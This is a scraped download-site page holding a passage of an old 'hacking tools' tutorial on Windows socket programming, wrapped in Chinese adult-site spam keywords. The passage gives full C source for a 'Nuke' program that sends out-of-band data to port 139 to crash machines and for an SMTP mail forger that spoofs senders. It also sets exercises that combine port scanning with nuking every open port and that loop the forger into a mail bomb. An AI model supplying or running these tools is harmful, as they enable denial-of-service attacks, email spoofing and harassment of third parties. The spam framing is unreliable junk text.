亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? windows internet programming part1.html

?? a collection of mega hacking tools
?? HTML
?? 第 1 頁(yè) / 共 5 頁(yè)
字號(hào):
      if (message == WM_DESTROY)

      	PostQuitMessage(0);



      return DefWindowProc(hwnd, message, wParam, lParam);

}





/* <---- SOURCE CODE ENDS HERE ----> */







Unlike the previous programs this one runs the winsock code as soon as we start it. We have 2 functions,



1. CheckPortUDP      -  Check if UDP port is open.

2. CheckPortTCP       -  Check if TCP port is open.



These functions try to connect to the port that we pass to them in the WinMain function and if these ports

are busy we get returned Busy otherwise we dont get returned Busy, its as easy as that!

If we wanted we could add more code that checks more ports, port checking could do more than just tell us

if a server is running (which is very useful on its own!) it could also tell us if a trojan is running

on a remote computer or our own for that matter :).





6.3 Nuker

=======================================





/* <---- PLEASE READ DISCLAIMER  ----> */

/* <---- SOURCE CODE STARTS HERE ----> */





#include <windows.h>

#include <stdio.h>



 

    WSADATA        wsdata;

    SOCKET         sock; 

    DWORD          wsock;

    char      	*str;

    struct         sockaddr_in Sa;







LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);



int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)



{

      static TCHAR szAppName[] = TEXT("Interface");



      HWND      	hwnd;

      MSG      	msg;

      WNDCLASS    wndclass;



      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;

      wndclass.lpfnWndProc    = recall;

      wndclass.cbClsExtra     = 0;

      wndclass.cbWndExtra     = 0;

      wndclass.hInstance      = hInstance;

      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);

      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);

      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);

      wndclass.lpszMenuName   = NULL;

      wndclass.lpszClassName  = "Interface";

      

      RegisterClass (&wndclass);



      hwnd = CreateWindow (szAppName,      	// Windows Class Name

      	      	 "Interface",      	// Windows Caption

      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style

      	      	 CW_USEDEFAULT,      	// initial x position

      	      	 CW_USEDEFAULT,      	// initial y position

      	      	 200,      	      	// initial x size

      	      	 200,      	      	// initial y size

      	      	 0,      	      	// parent window handle

      	      	 0,      	      	// parent menu handle

      	      	 hInstance,      	      // program instance handle

      	      	 0);      	      	// creation parameters



      ShowWindow(hwnd, iCmdShow);



      while (GetMessage (&msg, NULL, 0, 0))

      {

      	DispatchMessage  (&msg);

      }

      return 1;



}





LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

{

      if (message == WM_LBUTTONDOWN)

      {

      wsock = WSAStartup(0x0101,&wsdata);



      sock = socket(PF_INET,SOCK_STREAM,0);



      Sa.sin_family = AF_INET;

      Sa.sin_addr.s_addr = inet_addr("127.0.0.1");

      Sa.sin_port = htons(139);



      wsock = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));



      str = "Hello World!";



      send(sock,str,strlen(str),MSG_OOB);



      MessageBox(0,"Nuke Sent","Nuked",0);

      WSACleanup();



      }



      if (message == WM_DESTROY)

      	PostQuitMessage(0);



      return DefWindowProc(hwnd, message, wParam, lParam);

}





/* <---- SOURCE CODE ENDS HERE ----> */





This is the infamous (infamously lame) Nuke program. Port 139 is standard listening port for windows,

Nuke merely sends OOB (Out Of Bound) data to this port which on some operating systems results in a crash.

Many FTP servers and other such services are subceptible to a good nuking, all you do is change the port 

value to the service you wish to crash.



For more information on Nuke and DoS attacks consult blacksun.box.sk.





[ EXERCISES ]



Write a program which first takes a hostname of a computer and returns the IP address, 

checks for open ports on the host, and nukes each port in turn.





________________________________________________________________________________________________________





7.0 E-MAIL - SMTP

=======================================



E-Mail is a very useful service and has made snail mail pointless (id rather get an internet mail bomb than

a snail mail one!)



E-mail is made up of two protocols



1. SMTP      	-  For sending mail.

2. POP3      	-  For recieving mail.





Since this is a basics tutorial we will only cover SMTP for the moment but that don't mean that we can't

make it a bit more interesting...



Any-1 thats familiar with SMTP can tell you its inherent flaws (after all bsrf's tutorial is smtp - the 

buggiest protocol..  or something like that).



Most importantly of all it is possible to send mail from your e-mail account without giving a username or

password, or read some-1 else's mail for that matter..







/* <---- SOURCE CODE STARTS HERE ----> */



#include <windows.h>

#include <stdio.h>





    WSADATA         wsdata;

    SOCKET          sock;

    DWORD           wsock;

      

    struct          hostent *H;

    char            output[100];

    int      	  cnnct;

    char            str[10000];

    struct          sockaddr_in Sa;





LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);



int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)

{

      	static TCHAR szAppName[] = TEXT("Interface");





      HWND      	hwnd;

      MSG      	msg;

      WNDCLASS      wndclass;



      wndclass.style      	      = CS_HREDRAW | CS_VREDRAW;

      wndclass.lpfnWndProc      	= recall;

      wndclass.cbClsExtra      	= 0;

      wndclass.cbWndExtra      	= 0;

      wndclass.hInstance      	= hInstance;

      wndclass.hIcon      	      = LoadIcon (NULL, IDI_APPLICATION);

      wndclass.hCursor      	      = LoadCursor (NULL, IDC_ARROW);

      wndclass.hbrBackground      	= (HBRUSH) GetStockObject (WHITE_BRUSH);

      wndclass.lpszMenuName      	= NULL;

      wndclass.lpszClassName      	= "Interface";

      

      RegisterClass (&wndclass);



      hwnd = CreateWindow (szAppName,      	// Windows Class Name

      	      	 "Interface",      	// Windows Caption

      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style

      	      	 CW_USEDEFAULT,      	// initial x position

      	      	 CW_USEDEFAULT,      	// initial y position

      	      	 200,      	      	// initial x size

      	      	 200,      	      	// initial y size

      	      	 0,      	      	// parent window handle

      	      	 0,      	      	// parent menu handle

      	      	 hInstance,      	      // program instance handle

      	      	 0);      	      	// creation parameters





      ShowWindow(hwnd, iCmdShow);





      while (GetMessage (&msg, NULL, 0, 0))

      {

      	DispatchMessage  (&msg);

      }

      return 1;

}







LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)

{

      if (message == WM_LBUTTONDOWN)

    {

      

  WSAStartup (0x101, &wsdata);

  

  sock = socket(AF_INET, SOCK_STREAM,0);



  H = gethostbyname("mail.newbie.net");



  Sa.sin_family           = AF_INET;

  Sa.sin_port           = htons(25);

  Sa.sin_addr.s_addr       = *((unsigned long *) H->h_addr);



  cnnct = connect(sock,(struct sockaddr *) &Sa,sizeof(Sa));

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);





  strset(output,' ');

  strcpy(str,"HELO newbie.net\r\n");

  

  cnnct = send(sock,str,strlen(str),0);

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);





  strset(output,' ');

  

  strcpy(str,"MAIL FROM:<lamer@newbie.net>\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);





  strset(output,' ');

  

  strcpy(str,"RCPT  TO:<cos125@hotmail.com>\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);





  strset(output,' ');

  

  strcpy(str,"DATA\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);





  strset(output,' ');  

  

  strcpy(str,"TO: Ian Cosgrove\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  strcpy(str,"FROM: Mail Forger.in\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  strcpy(str,"DATE: 22 May 01 16:17 GMT\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  strcpy(str,"MESSAGE_ID: <123456789>\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  strcpy(str,"Hello World!\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  strcpy(str,"From The Mail Forge Program\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  strcpy(str,".\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);





  strset(output,' ');

  

  strcpy(str,"QUIT\r\n");

  cnnct = send(sock,str,strlen(str),0);

  

  cnnct = recv(sock,str,10000,0);



  sprintf(output,"recv %d str %s",cnnct,str);



  WSACleanup();

  

}





      if (message == WM_DESTROY)

      	PostQuitMessage(0);



      return DefWindowProc(hwnd, message, wParam, lParam);

}







/* <---- SOURCE CODE ENDS HERE ----> */





This program sends a series of commands at the SMTP server, if you are not familiar with the smtp

protocol theres a good tutorial at the blacksun website which covers all of these commands and

the basic idea behind this program.



The result of this program is that an e-mail is sent to my e-mail address (cos125@hotmail.com),

from lamer@newbie.net.



The resulting e-mail would look like the following:



---------------------------

---------------------------

TO:   Ian Cosgrove

FROM: Mail Forger

DATE: 22 May 01 16:17 GMT



MESSAGE_ID: <123456789>



Hello World!

From The Mail Forge Program

---------------------------

---------------------------





And thats the SMTP program, replace my e-mail address with any-1 that you want and the address,

lamer@newbie.net with anything, like santa@northpole.com, and the e-mail will be sent.







[ EXERCISES ]



Add a loop in the program so that it repeatedly sends e-mails to the same address...



something like,



for (i = 1; i<= 500 ; z++)

{

...

}



________________________________________________________________________________________________________



* NOTE -  This method is known as mail bombing.



________________________________________________________________________________________________________





8.0 WinInet - FTP

=======================================





So far we have been using the Winsock for all of our programming, but there is another option in windows

and its known as WinInet. WinInet is a collection of high level functions and deals with 3 main protocols;

HTTP, FTP and Gopher. WinInet functions closely resemble windows file functions. For an example of using

the WinInet API we are going to make an FTP client.



FTP isn't very widely used anymore or if it is its used in the background of an application, like for 

downloading files from an FTP server in Internet Explorer. To the user when Internet Explorer begins 

downloading a file from 

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
风间由美性色一区二区三区| 国产在线不卡一区| 久久只精品国产| 91污片在线观看| 日本不卡一区二区三区高清视频| 国产欧美日韩在线视频| 欧美三级韩国三级日本一级| 国产成人av福利| 视频在线在亚洲| 中文字幕在线一区| 欧美一卡二卡在线观看| 在线视频欧美区| 国产成人免费视| 久久成人久久爱| 午夜久久久久久久久 | 久久九九99视频| 欧美色成人综合| 99精品久久久久久| 成人综合在线观看| 精品一区二区在线看| 日欧美一区二区| 一区二区三区四区蜜桃| 国产精品久久久久久久久图文区| 日韩欧美资源站| 欧美日韩高清一区二区三区| 日本韩国视频一区二区| voyeur盗摄精品| 风流少妇一区二区| 国产一区二区在线免费观看| 另类专区欧美蜜桃臀第一页| 免费精品99久久国产综合精品| 亚洲成人福利片| 午夜精品一区二区三区电影天堂 | 欧洲亚洲精品在线| 一本久久a久久免费精品不卡| 成人免费毛片嘿嘿连载视频| 国产成都精品91一区二区三| 国产不卡在线一区| 国产99久久久国产精品潘金| 国产成人精品三级麻豆| 国产福利精品导航| 成人性生交大片免费看中文| 国产福利电影一区二区三区| 成人黄色777网| 成人av午夜电影| 97精品久久久午夜一区二区三区 | 国产成人夜色高潮福利影视| 国产精品1区二区.| 成人精品视频一区二区三区 | 欧美电影免费观看高清完整版在线 | 午夜电影一区二区| 日本在线播放一区二区三区| 日韩黄色免费网站| 久久精品国产99国产| 国产乱码字幕精品高清av| 国v精品久久久网| 91香蕉视频mp4| 欧美日韩国产综合一区二区| 欧美一区二区精美| 久久午夜羞羞影院免费观看| 国产精品美女久久久久高潮| 亚洲精品免费电影| 美腿丝袜亚洲色图| 粉嫩绯色av一区二区在线观看| 99国产麻豆精品| 欧美人成免费网站| 亚洲精品一区二区三区四区高清| 久久久噜噜噜久久中文字幕色伊伊| 国产精品福利电影一区二区三区四区| 亚洲色图丝袜美腿| 午夜久久久久久久久久一区二区| 精品一区二区三区蜜桃| 成人精品小蝌蚪| 欧美精品日韩一本| 国产精品美女久久久久久2018 | 久久婷婷色综合| 国产精品二区一区二区aⅴ污介绍| 亚洲一线二线三线视频| 精品一区在线看| 成人av在线资源网| 88在线观看91蜜桃国自产| 久久精品欧美一区二区三区不卡 | 午夜免费久久看| 国产九九视频一区二区三区| 91国偷自产一区二区三区成为亚洲经典 | 91精品福利在线一区二区三区| 久久久影视传媒| 亚洲成年人网站在线观看| 国产激情91久久精品导航| 欧美日韩电影一区| 国产精品久线在线观看| 日本亚洲最大的色成网站www| 丁香亚洲综合激情啪啪综合| 欧美日韩欧美一区二区| 久久九九久久九九| 午夜欧美一区二区三区在线播放| 成人一级黄色片| 精品日韩在线观看| 一卡二卡三卡日韩欧美| 国产一区二区三区黄视频 | 久久精品视频在线免费观看| 亚洲一区免费视频| 成人福利视频在线看| 日韩欧美视频在线| 亚洲va欧美va人人爽午夜| 99视频精品在线| 久久久久久久久久看片| 日韩二区三区在线观看| 91福利社在线观看| 国产精品欧美一区二区三区| 捆绑紧缚一区二区三区视频| 91久久精品一区二区三区| 欧美国产禁国产网站cc| 久久精品久久精品| 欧美一区二区日韩一区二区| 夜夜亚洲天天久久| aa级大片欧美| 国产精品嫩草影院com| 国产一二精品视频| 日韩亚洲欧美中文三级| 午夜精品一区二区三区免费视频| 97成人超碰视| 国产精品污www在线观看| 国产一区二区三区| 精品国产精品一区二区夜夜嗨 | gogo大胆日本视频一区| 国产视频一区二区在线| 国产美女娇喘av呻吟久久| 欧美成人女星排名| 美腿丝袜亚洲色图| 日韩精品一区在线观看| 久久99精品一区二区三区三区| 欧美美女黄视频| 午夜视频一区在线观看| 91.com在线观看| 午夜免费久久看| 日韩小视频在线观看专区| 日韩电影在线观看电影| 制服丝袜激情欧洲亚洲| 免费人成黄页网站在线一区二区| 91国产成人在线| 亚洲国产日韩a在线播放性色| 欧美日韩在线播| 视频精品一区二区| 日韩一级完整毛片| 韩日精品视频一区| 国产欧美日韩在线看| av一本久道久久综合久久鬼色| 国产精品久99| 91国内精品野花午夜精品| 爽爽淫人综合网网站| 日韩欧美精品在线视频| 国产美女在线精品| 一区在线观看免费| 在线观看国产日韩| 日韩影视精彩在线| 2024国产精品| 成人app网站| 亚洲成人tv网| 日韩一区二区免费在线观看| 国产福利精品一区二区| 亚洲精品伦理在线| 日韩视频在线你懂得| 国产精品99精品久久免费| 最新成人av在线| 欧美亚洲国产一区二区三区| 青青草伊人久久| 中文字幕欧美日本乱码一线二线| 91一区二区三区在线播放| 午夜av电影一区| 久久久99精品免费观看不卡| 日本韩国欧美在线| 久久疯狂做爰流白浆xx| 亚洲欧洲韩国日本视频| 欧美丰满少妇xxxxx高潮对白| 久久国产尿小便嘘嘘尿| 国产精品久久夜| 欧美蜜桃一区二区三区| 国产福利91精品一区二区三区| 亚洲一区二区三区四区的| 亚洲精品一区二区三区在线观看 | 欧美精品一区二区久久久| 成人aaaa免费全部观看| 日韩中文字幕亚洲一区二区va在线 | 蜜桃在线一区二区三区| 国产精品国产三级国产aⅴ中文| 欧美日韩国产综合一区二区三区| 国产成人午夜精品5599| 亚洲成av人片一区二区三区| 中文字幕国产一区二区| 欧美日韩国产美女| 成人精品国产免费网站| 免费亚洲电影在线| 亚洲午夜久久久久| 国产精品欧美一级免费| 日韩一区和二区| 色综合久久久久久久久久久| 国产最新精品免费| 午夜精品免费在线观看| 中文字幕永久在线不卡|